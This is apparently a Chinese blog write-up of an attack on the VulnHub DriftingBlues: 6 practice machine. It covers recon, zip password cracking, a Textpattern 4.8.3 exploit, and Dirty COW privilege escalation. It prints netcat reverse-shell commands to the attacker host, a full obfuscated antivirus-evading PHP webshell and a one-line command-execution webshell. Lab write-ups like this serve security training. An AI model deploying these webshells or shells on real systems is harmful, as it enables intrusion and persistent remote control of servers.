[Vulnhub靶机] DriftingBlues: 6

[Vulnhub靶机] DriftingBlues: 6靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova


靶机地址:192.168.67.25

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口80及其服务http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,在查看网页源代码时发现一串提示,但该段提示为靶场提示,没有什么实际作用

4.尝试使用 dirsearch 工具扫描靶机网站目录,得到 robots.txt 文件和 textpattern 目录

dirsearch -u 靶机URL

        -u        指定目标URL

5.通过访问robots.txt,我们获得了一个 /textpattern/textpattern,以及一段提示信息(希望我们在扫描目录的字典中加入.zip的扩展名)

6.使用 gobuster 工具重新扫描靶机网站目录,并添加.zip扩展名,发现 spammer.zip 文件,访问该文件成功下载到本地,尝试解压发现存在密码

gobuster dir --url http://192.168.67.25 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip

        dir                          使用DIR枚举目录(目录爆破模式)

        -url                         目标URL(指定目标URL)

        --wordlist                字典列表的路径

        -x                           指定扩展名

二、漏洞利用

1.使用 zip2john 工具将压缩文件的密码转换为hash格式输出到 hash.txt 文件中,使用 john 工具进行密码破解,成功得到压缩包密码 myspace4(也可直接使用 fcrackzip 工具对zip文件的密码进行爆破)

zip2john Zip文件 > hash文件名

        >        将输出重定向到指定的文件中

zip2john工具,用于将Zip文件的压缩密码转换为hash格式,可以将Zip文件转换为John the Ripper密码破解工具可识别的格式。这个工具将Zip文件的密码hash提取出来,以便用于后续密码破解攻击。

john --wordlist=密码字典路径 文件名

        --wordlist        字典模式,从 文件或标准输入中读取词汇(指定字典)

John the Ripper(简称John)是一款开源的密码破解工具,它用于测试和评估密码的强度。John可以进行多种类型的密码破解,包括字典攻击、暴力破解、彩虹表攻击等。

/usr/share/wordists/rockyou.txt 是kali系统自带的密码文件,默认是个压缩包需要自行解压

fcrackzip -D -p 密码字典路径 -u Zip文件名

        -D         指定字典来暴力破解

        -p         使用字符串作为初始密码文件

        -u         指定压缩文件

2.使用压缩包密码打开 creds.txt 文件,得到账号/密码(mayer/lionheart)

3.访问之前获取到的文件 /textpattern/textpattern ,是一个登录页面,通过查看分析,发现CMS是textpattern

4.输入我们获取到的账户密码成功访问该网站后台,此时我们获得了CMS的版本信息为4.8.3

三、反弹shell

此时有两种反弹shell的方法:

        第一种:利用CMS的版本漏洞进行反弹shell

        第二种:利用CMS中文件上传模块上传木马

第一种反弹shell方法:

1.使用 searchsploit 工具搜索CMS版本漏洞信息,查找到该CMS版本漏洞利用脚本

Searchsploit是一款用于搜索和比较漏洞利用代码的命令行工具,基于Metasploit框架,并且内置了漏洞利用数据库,可以快速在本地搜索相关的漏洞利用代码,同时也支持从在线源获取最新的漏洞信息。

2.进入到漏洞利用脚本的目录下,运行该python脚本,提示脚本运行方法

python 48943.py URL地址 用户名 密码

3.执行漏洞脚本,运行时可能会显示报错,需要手动将代码修改,在第89行,script下标应当修改为3(还是建议看一下大佬写的:对DriftingBlues-6靶机进行渗透测试-CSDN博客),成功反弹shell 

scriptJS = soup.find_all("script")[3].string.replace("var textpattern = ", "")[:-2]

4.但是通过该方法反弹的shell无法跳转到其他目录,在攻击机开启 nc 监听,利用刚才反弹的shell执行 nc 命令,尝试反弹新的shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

5.成功反弹shell,利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

第二种反弹shell方法:

1.在该CMS中存在文件上传位置,尝试上传木马

2.编写免杀木马 cmd.php 进行上传(因为靶机有防火墙所以需要免杀),上传成功后没有直接回显上传文件的路径,在查找后发现在管理界面中有上传文件的路径

<?php
class User {
    public static function getpublicMethod() {
        return 'publicMethod';
    }
    public static function publicMethod($args) {
        $key = 'args';
        $pass_decode=$$key;
        return @eval($pass_decode);
    }
}
$classloader = 'User';
$publicMethod1 = ['User',$classloader::getpublicMethod()];
$aes_decode =$publicMethod1('
$username = \'TUHUsuGa\';
$password = \'UTUHUsuGaUdTUHUsuGaWMllXd29KTUHUsuGaRjlRVDFOVVd5ZGpiV1FuWFNrNw==\';
header(\'dddddd:\'.$username);
$arr = apache_response_headers();
$template_source=\'\';
foreach ($arr as $k => $v) {
    if ($k[0] == \'d\' && $k[4] == \'d\') {
        $template_source = str_replace($v,\'\',$password);
    }
}
$template_source = base64_decode/**/($template_source);
$template_source = base64_decode/**/($template_source);
$key = \'template_source\';
$aes_decode=$$key;
return $aes_decode;
');
$publicMethod2 = ['User',$classloader::getpublicMethod()];
$publicMethod2($aes_decode);
$p7Buth = "CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KPHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPgo8c3R5bGU+CmJvZHl7IAogICAgcGFkZGluZzowOyAKICAgIG1hcmdpbjowOyAKICAgIGZvbnQtZmFtaWx5OiJNaWNyb3NvZnQgWWFIZWkiLCAKICAgICJNaWNyb3NvZnQgWWFIZWkgVUkgTGlnaHQiOwogICAgZm9udC1zaXplOjE0cHg7Cn0KLnBhZ2V7CiAgICBoZWlnaHQ6IDQ0NnB4OyAKICAgIG1hcmdpbjogMCBhdXRvOwogICAgcGFkZGluZy1yaWdodDoyMHB4OwogICAgbWFyZ2luLXRvcDozJTsKfQoucGFnZS10b3B7CiAgICB3aWR0aO+8mjEyMDBweDsKICAgIG1hcmdpbjogMCBhdXRvOwogICAgdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLnBhZ2UtYm90dG9tewogICAgd2lkdGg6MTIwMHB4OwogICAgbWFyZ2luOiAwIGF1dG87Cn0KLnBhZ2UtYm90dG9tLXRpcHsKICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgIGNvbG9yOiAjN2Q3ZDdkOwogICBwYWRkaW5nOjE2cHggMCAxMHB4IDA7CiAgIGZvbnQtc2l6ZToxNnB4Owp9Ci5wYWdlLWJvdHRvbS13b3JkewogICBtYXJnaW4tbGVmdDozMCU7CiAgIGNvbG9yOiMzMTMxMzEKfQoucGFnZS1ib3R0b20td29yZCBwewogIGZvbnQtd2VpZ2h0OnVuc2V0OwogIGxpbmUtaGVpZ2h0OiAyMnB4OwogIG1hcmdpbjogMDsKfQoKPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0icGFnZSI+ICAKICAgIDxkaXYgY2xhc3M9InBhZ2UtdG9wIj4KICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9ibG9ja3NyYy5oYXBsYXQubmV0L3dhZl9mb3JiaWRkZW5fZmlsZS93YWYtaW50ZXJUaXAuanBnIiAvPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWJvdHRvbSI+CiAgICAgIDxkaXYgY2xhc3M9InBhZ2UtYm90dG9tLXRpcCIgbGFuZ0ZsYWc9J2Vycm9yVGlwJz48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0icGFnZS1ib3R0b20td29yZCI+CiAgICA8L2Rpdj4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYmxvY2tzcmMuaGFwbGF0Lm5ldC93YWZfZm9yYmlkZGVuX2ZpbGUvd2FmLWpxdWVyeS1taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKICAgICQoIiN0aW1lX2lkIikuaHRtbCh0b0xUKDE2OTkxMDcyMDEwMDApKTsKICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICQoIi5wYWdlIikuc3RvcCh0cnVlLGZhbHNlKS5hbmltYXRlKHsibWFyZ2luLXRvcCI6d2luSGVpZ2h0LzItMzEyfSwwKTsKICAgICQod2luZG93KS5yZXNpemUoZnVuY3Rpb24oKXsgIAogICAgICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICAgICAkKCIucGFnZSIpLnN0b3AodHJ1ZSxmYWxzZSkuYW5pbWF0ZSh7Im1hcmdpbi10b3AiOndpbkhlaWdodC8yLTMxMn0sMCk7CiAgICB9KTsKICAgIGNoYW5nZVBhZ2VFbGVtKCk7CiAgICBpZigkKCcjaW5uZXJCb3QnKS5odG1sKCkubGVuZ3RoPD0wKXsKICAgICAgICAkKCcjYm90SWQnKS5yZW1vdmUoKTsKICAgIH0KfSk7CgpmdW5jdGlvbiB0b0xUKGRhdGUpewogICAgZGF0ZSA9IG5ldyBEYXRlKHBhcnNlSW50KGRhdGUpKTsKICAgIHZhciB1dGM7CiAgICBpZiAoanVkZ2VMYW5ndWFnZSgpID09IDApCiAgICAgICAgdXRjID0gZGF0ZS50b0xvY2FsZVN0cmluZygnemgnLHt0aW1lWm9uZU5hbWU6ICdzaG9ydCcsIGhvdXIxMjogZmFsc2V9KTsKICAgIGVsc2UKICAgICAgICB1dGMgPSBkYXRlLnRvTG9jYWxlU3RyaW5nKCdlbicse3RpbWVab25lTmFtZTogJ3Nob3J0JywgaG91cjEyOiBmYWxzZX0pOwogICAgcmV0dXJuIHV0YzsKfQpmdW5jdGlvbiBqdWRnZUxhbmd1YWdlKCl7CiAgIHZhciBsYW5nID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2U7CiAgIHZhciBsYW5nRmxhZyA7CiAgIGlmKGxhbmc9PSJ6aC1DTiIpewogICAgICAgbGFuZ0ZsYWc9MDsKICAgfSBlbHNlewogICAgICAgbGFuZ0ZsYWc9MTsKICAgfQogICByZXR1cm4gbGFuZ0ZsYWc7Cn0KZnVuY3Rpb24gY2hhbmdlUGFnZUVsZW0oKXsKICAgIHZhciBsYW5nT2JqPXsgICAgICAgCiAgICAgICAgJ2NvbG9uJzpbJ++8micsJzonXSwKICAgICAgICAnZXZlbklEJzpbJ+S6i+S7tklEJywnRXZlbnQtSUQnXSwKICAgICAgICAnY2xpZW50SVAnOlsn5a6i5oi356uvSVAnLCdDbGllbnQtSVAnXSwKICAgICAgICAnY3V1cmVudFRpbWUnOlsn5b2T5YmN5pe26Ze0JywnQ3VycmVudCBUaW1lJ10sCiAgICAgICAgJ2Vycm9yVGlwJzpbJ+aCqOW9k+WJjeeahOiuv+mXruihjOS4uuWtmOWcqOW8guW4uO+8jOivt+eojeWQjumHjeivlS4uLicsJ1lvdXIgY3VycmVudCBiZWhhdmlvciBpcyBkZXRlY3RlZCBhcyBhYm5vcm1hbCwgUGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4uLiddLAogICAgICAgICd1c2VyQWdlbnQnOlsnVXNlci1BZ2VudCcsJ1VzZXItQWdlbnQnXSwKICAgICAgICAvKidibG9ja0lkJzpbJ0JvdOaLpuaIqklEJywnQm90LUJsb2NrLUlEJ10sKi8KICAgICAgICAnUmVxdWVzdElEJzpbJ1JlcXVlc3QtSUQnLCAnUmVxdWVzdC1JRCddCiAgICB9CiAgICB2YXIgX2luZGV4PWp1ZGdlTGFuZ3VhZ2UoKTsKICAgIHZhciBwYWdlRWxlbWVudHMgPSAkKCJbbGFuZ0ZsYWddIik7CiAgICB2YXIgbGJsTGVuID0gcGFnZUVsZW1lbnRzLmxlbmd0aDsKICAgIHZhciBfZWxlbSxfZmxhZzsKICAgIGZvcihpID0gMDsgaSA8IGxibExlbjsgaSsrKSB7CiAgICAgICAgX2VsZW0gPSAkKHBhZ2VFbGVtZW50c1tpXSk7CiAgICAgICAgX2ZsYWc9X2VsZW0uYXR0cigibGFuZ0ZsYWciKTsKICAgICAgICBfZWxlbS50ZXh0KGxhbmdPYmpbX2ZsYWddW19pbmRleF0pOwogICAgfTsKfQoKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    http_response_code(403);
    echo base64_decode/**/($p7Buth);
}

3.在攻击机开启 nc 监听,利用木马反弹的shell执行 nc 命令(POST传参cmd参数执行命令),尝试反弹shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

 5.成功反弹shell,利用python中pty模块的创建交互式shell

其他:

在成功反弹shell后,经过对目录内文件的查看,发现目录内存在 BSQTYLTSOp.php 文件,该文件是一个一句话木马文件(代码如下),可以正常执行命令,且该文件是能正常下载查看的。那这样就可以不用上传木马文件,直接通过该文件执行 nc 命令反弹shell,其操作方法思路同第二种方法相同

<?php system($_GET["efcd"]); ?>

四、提权

1.使用find命令寻找suid程序,尝试进行提权,没有发现可利用的漏洞程序(没有可利用的脚本或程序),ssh服务也没有启动,同样没有发现其他用户

2.换个思路,使用 uname 命令查看系统版本内核,发现linux内核版本为3.2.0,搜索发现该版本存在脏牛漏洞

uname命令是一个在UNIX类操作系统中常用的命令,用于显示当前系统的相关信息

uname -a

        -a        显示全部信息

 3.使用 searchsploit 工具搜索 linux 内核版本漏洞信息(直接查找 "linux 3.2.0" ,搜索到的信息太多,直接查找 "Dirty COW" ,也就是脏牛漏洞),查找到该 linux 内核版本漏洞利用脚本

脏牛漏洞(Dirty COW)是一个影响Linux内核的本地特权提升漏洞,其漏洞编号为CVE-2016-5195,影响范围为2.6.22 <= Linux kernel  < 3.9

脏牛漏洞的原理是利用了Linux内核中的一个写时复制(Copy-on-Write)的漏洞,使得攻击者可以获取到本应该只有读权限的文件的写权限。通过在特定条件下修改映射到内存的文件,攻击者可以在没有足够权限的情况下修改目标文件的内容。

4.在攻击机使用 python 开启HTTP服务器,来共享文件,在靶机上使用wget命令将提权脚本下载下来,并赋予该脚本执行权限

python -m http.server

        -m        指定到执行的模块

http.server是Python标准库中提供的一个模块,它包含了一个简单的HTTP服务器类和相关函数,用于实现Web服务器和文件共享等功能(默认端口为8000)。

wget 指定文件URL                        //下载指定文件

需要再 /tmp 目录下下载,或者其他有权限创建文件权限的目录

5.使用gcc编译器来编译脚本,并生成可执行文件,运行可执行文件后,就可以能够登录新创建的用户,使用此漏洞可以根据需要修改用户值, 默认为 "firefart" 用户。

gcc -pthread 40839.c -o 指定文件名 -lcrypt

        -pthread              用于指示编译器链接POSIX线程库

        -o                        指定输出文件

        -lcrypt                  用于链接密码库

6.成功执行脚本后,使用默认用户 "firefart" 以及自定义的密码 "123456" 进行登录,成功登录后查看权限,发现成功提权至root权限

 

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-12 20:24:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-12 20:24:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-12 20:24:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-12 20:24:01       18 阅读

热门阅读

  1. 验证Lettuce在单连接上进行多路复用

    2024-01-12 20:24:01       56 阅读
  2. 10000访问量纪念日

    2024-01-12 20:24:01       38 阅读
  3. 【计算机二级考试C语言】C程序结构

    2024-01-12 20:24:01       36 阅读
  4. 算法训练营Day36

    2024-01-12 20:24:01       32 阅读
  5. 【力扣每日一题】力扣2707字符串中的额外字符

    2024-01-12 20:24:01       34 阅读
  6. 自定义Flink SourceFunction定时读取数据库

    2024-01-12 20:24:01       33 阅读
  7. 学习使用php、js脚本关闭当前页面窗口的方法

    2024-01-12 20:24:01       34 阅读
  8. Wine源码中添加新的DLL模块

    2024-01-12 20:24:01       38 阅读
  9. SpringBoot 配置文件

    2024-01-12 20:24:01       25 阅读